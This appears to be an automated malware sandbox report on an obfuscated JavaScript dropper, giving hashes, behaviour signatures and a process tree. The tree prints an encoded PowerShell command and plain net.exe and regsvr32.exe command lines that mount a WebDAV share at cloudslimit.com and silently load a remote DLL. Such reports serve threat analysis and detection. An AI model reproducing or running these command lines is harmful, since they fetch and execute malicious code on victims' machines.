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Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/08/2024, 14:22

General

  • Target

    089a69e20ba8e77bd6cbd1ba40f9a8754be2479ee18e0e22af2f502e9c7f07b4.js

  • Size

    10KB

  • MD5

    a96dfb5126b998be551e5731d0019049

  • SHA1

    a85b1edbb0642d4a4062374438b5996547570259

  • SHA256

    089a69e20ba8e77bd6cbd1ba40f9a8754be2479ee18e0e22af2f502e9c7f07b4

  • SHA512

    325ffa48bd726409512a6b14f2c95309adbe89b9fa5345a32060f4e53e5eefe000071a7c0de82f6274910108f51c6c86a7e674b5a2c33c06d443095d43853c87

  • SSDEEP

    192:RAq+vTEB0QODfAhXmm5ZsoHjWk7GYA8FBNjiN5jsNlQUGFTZhNGwNXKcR0vwNAw3:qP7KEfAhXmm5ZsoHjWIGYA8FBNjiN5jp

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\089a69e20ba8e77bd6cbd1ba40f9a8754be2479ee18e0e22af2f502e9c7f07b4.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand bgBlAHQAIAB1AHMAZQAgAFwAXABjAGwAbwB1AGQAcwBsAGkAbQBpAHQALgBjAG8AbQBAADgAOAA4ADgAXABkAGEAdgB3AHcAdwByAG8AbwB0AFwAIAA7ACAAcgBlAGcAcwB2AHIAMwAyACAALwBzACAAXABcAGMAbABvAHUAZABzAGwAaQBtAGkAdAAuAGMAbwBtAEAAOAA4ADgAOABcAGQAYQB2AHcAdwB3AHIAbwBvAHQAXAA4ADMANAA3ADMAOAAxADkAMgA0ADcANQA0AC4AZABsAGwA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4704
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\cloudslimit.com@8888\davwwwroot\
        3⤵
          PID:3484
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\cloudslimit.com@8888\davwwwroot\8347381924754.dll
          3⤵
            PID:3568

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ygn5e00l.keh.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/4704-0-0x00007FFA93AE3000-0x00007FFA93AE5000-memory.dmp

        Filesize

        8KB

      • memory/4704-1-0x0000023434400000-0x0000023434422000-memory.dmp

        Filesize

        136KB

      • memory/4704-11-0x00007FFA93AE0000-0x00007FFA945A1000-memory.dmp

        Filesize

        10.8MB

      • memory/4704-12-0x00007FFA93AE0000-0x00007FFA945A1000-memory.dmp

        Filesize

        10.8MB

      • memory/4704-15-0x00007FFA93AE0000-0x00007FFA945A1000-memory.dmp

        Filesize

        10.8MB